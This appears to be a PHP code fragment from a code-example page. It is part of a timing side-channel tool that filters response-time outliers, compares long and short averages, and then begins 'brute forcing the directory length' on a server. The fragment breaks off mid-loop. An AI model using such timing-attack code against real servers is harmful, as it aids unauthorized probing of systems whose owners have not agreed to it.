Ejemplo n.º 1
0
 # clean records who are above the standard deviation time and calc average again
 $newVars = array();
 foreach ($longStats->getVars() as $var) {
     if ($var < $longStats->calcAverage() + $longStats->calcStdDeviation()) {
         array_push($newVars, $var);
         continue;
     }
     print "\n[!] excluding the value {$var} from long response time statistics";
 }
 $longStats->setVars($newVars);
 $longDelta = $longStats->calcAverage();
 print "\n[!] statistic for relative-long average time period: {$longDelta}";
 $longStats->reset();
 $newVars = array();
 foreach ($shortStats->getVars() as $var) {
     if ($var < $shortStats->calcAverage() + $shortStats->calcStdDeviation()) {
         array_push($newVars, $var);
         continue;
     }
     print "\n[!] excluding the value {$var} from short response time statistics";
 }
 $shortStats->setVars($newVars);
 $shortDelta = $shortStats->calcAverage();
 print "\n[!] statistic for relative-short average time period: {$shortDelta}";
 $shortStats->reset();
 # if short average + 50% short average > long average
 if ($shortDelta + $shortDelta / 100 * PLUS_TIME_INTERVAL_THRESHOLD < $longDelta) {
     $negTimeCounter = 0;
     print "\n[V] a satisfying interval has been achieved. moving on to brute forcing the directory length.";
     for ($i = MAX_FILE_NAME; $i >= 0; $i--) {
         $stopper->start();